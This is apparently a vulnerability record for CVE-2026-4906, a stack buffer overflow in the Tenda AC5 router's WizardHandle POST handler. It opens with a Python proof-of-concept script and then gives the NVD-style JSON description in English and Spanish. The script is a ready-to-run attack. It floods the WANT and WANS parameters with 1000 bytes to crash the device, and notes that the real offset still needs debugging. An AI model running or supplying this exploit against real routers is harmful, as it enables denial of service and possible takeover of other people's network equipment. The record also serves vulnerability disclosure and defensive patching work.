CVE-2026-4906

import requests # Target IP address of the vulnerable Tenda AC5 device target_ip = "192.168.0.1" url = f"http://{target_ip}/goform/WizardHandle" # Constructing the malicious payload # The buffer size limit is exceeded to trigger the overflow # 'A' * 1000 is an example length, actual offset needs debugging payload = b"A" * 1000 # Vulnerable parameters identified in the description data = { "WANT": payload, "WANS": payload } try: print(f"Sending exploit payload to {url}...") # Sending POST request response = requests.post(url, data=data, timeout=5) print(f"Response status code: {response.status_code}") except requests.exceptions.RequestException as e: # Connection might be lost if the device crashes (DoS) print(f"Device may have crashed or connection refused: {e}")

{"cve": {"id": "CVE-2026-4906", "sourceIdentifier": "[email protected]", "published": "2026-03-27T01:16:21.807", "lastModified": "2026-03-31T20:58:38.367", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability was determined in Tenda AC5 15.03.06.47. The affected element is the function decodePwd of the file /goform/WizardHandle of the component POST Request Handler. Executing a manipulation of the argument WANT/WANS can lead to stack-based buffer overflow. The attack can be executed remotely. The exploit has been publicly disclosed and may be utilized."}, {"lang": "es", "value": "Se determinó una vulnerabilidad en Tenda AC5 15.03.06.47. El elemento afectado es la función decodePwd del archivo /goform/WizardHandle del componente Gestor de Solicitudes POST. La ejecución de una manipulación del argumento WANT/WANS puede conducir a un desbordamiento de búfer basado en pila. El ataque puede ser ejecutado de forma remota. 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